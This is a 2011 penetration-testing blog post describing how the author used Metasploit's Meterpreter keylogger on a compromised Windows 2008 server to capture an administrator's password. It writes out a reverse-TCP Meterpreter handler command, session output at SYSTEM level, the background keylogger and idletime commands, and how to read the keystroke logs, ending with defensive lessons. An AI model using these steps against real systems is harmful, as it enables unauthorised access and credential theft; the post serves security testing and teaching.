Saturday, 9 July 2011

Meterpreter keylogger: Getting passwords the easy way

In a recent pen test, after compromising the host machine I faced the fact that LM hashes were disabled, and the passwords in use were relatively strong so the normal dictionary and brute-force attacks would not work straightaway.

Because it was a long pen test, I had an idea: I could use the meterpreter key logger feature (no clean up needed) and wait for the administrator user to eventually log into the machine. For several days this did not work but in the end ... you can guess what happened!

So first of all I had a metasploit multi-handler listening to my meterpreter payload configured to perform a reverse tcp connect:

/pentest/exploits/framework3/msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp_allports LHOST= LPORT=xxxx E
[*] Please wait while we load the module tree...
PAYLOAD => windows/meterpreter/reverse_tcp_allports
LPORT => xxxx
[*] Started reverse handler on
[*] Starting the payload handler...
[*] Sending stage (749056 bytes) to xx.xx.xx.xx
[*] Meterpreter session 1 opened ( -> xx.xx.xx.xx:11149) at xxx xxx xx xx:xx:xx +xxxx xxxx

meterpreter > sysinfo
System Language : en_xx
OS : Windows 2008 R2 (Build 7601, Service Pack 1).
Computer : server_name
Architecture : x64 (Current Process is WOW64)
Meterpreter : x86/win32

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Until here, all normal. Now comes the first interesting thing .. if you run the keylogrecorder meterpreter script it will work but you will basically not be able to do any other things at the same time in meterpreter (the console is blocked on that script), if you make this small mistake it is handy to know that you can Control+C out of the hanging keylogrecorder script and get back to the meterpreter console without losing your meterpreter shell. But .. do not get overconfident, you will lose the meterpreter shell if you Control+C once more after that!:

meterpreter > run keylogrecorder
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /root/.msf3/logs/scripts/keylogrecorder/xx.xx.xx.xx_xxxxxxxx.5848.txt
[*] Recording
^C[*] Saving last few keystrokes

[*] Interrupt
[*] Stopping keystroke sniffer...

What we need to do instead is to run the keylogrecorder in the background: This way, using only 1 port we can save the keystrokes the user types while at the same time still be able to type in other commands on the meterpreter console, note how at the end we get the meterpreter prompt and can type other commands this time, all this happens while the keystroke logger is saving the keystrokes in the background:

meterpreter > bgrun keylogrecorder
[*] Executed Meterpreter with Job ID 0
meterpreter > [*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /root/.msf3/logs/scripts/keylogrecorder/xx.xx.xx.xx_xxxxxxxx.5907.txt
[*] Recording

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

A handy command to capture the keystrokes is idletime, this tells you if the user is active or not, if they are not active you have to wait more, off course. This approach is best performed while you are trying to crack the passwords in the background so you have two hopes: either the cracking or the keylogging will hopefully work. You have better chances to get the password this way.

meterpreter > idletime
User has been idle for: 2 days 22 hours 38 mins 50 secs

This was all not nice and dandy all the time, I lost the connection a few times and had to re-gain it and start the key logger again a few times but in the end patience won and I got the admin password, as you can see a few tries were needed and the key logger logs vary in size:

When you open the meterpreter key logger files it is best to do so as follows, the grep -v ^$ command will take away the blank lines so that you can see what you care about: The keystrokes. I think the meterpreter key logger sends a newline character per minute so that the connection is kept alive, if you open the file without this is a bit cumbersome. You can always redirect the output of the grep -v ^$ command to another file as well:

# grep -v ^$ name_of_the_file.txt|more

In the following screenshot, for brevity I show the first 5 non-blank lines of a keystroke capture, which displays the first two attempts of the admin to type the password, it is funny that you obviously capture the typos too, they may also try passwords for other systems, etc so you can basically build a nice targeted dictionary with this :)

Lessons to take home:
1 - Avoiding LM hashes is great but if someone compromises your host, there are other ways to get the password besides password cracking (i.e. keystroke logging).
2 - Oddly enough, a short screen timeout would require the user to type the password more often substantially increasing my chances of capturing it (i.e. if the pen test window was much shorter). Therefore a short screen timeout is not always the most secure option.
3 - If someone compromises a host they are just too deep in to prevent most things.
4 - You should have different layers of security to detect and mitigate the potential for this (assume compromise will happen).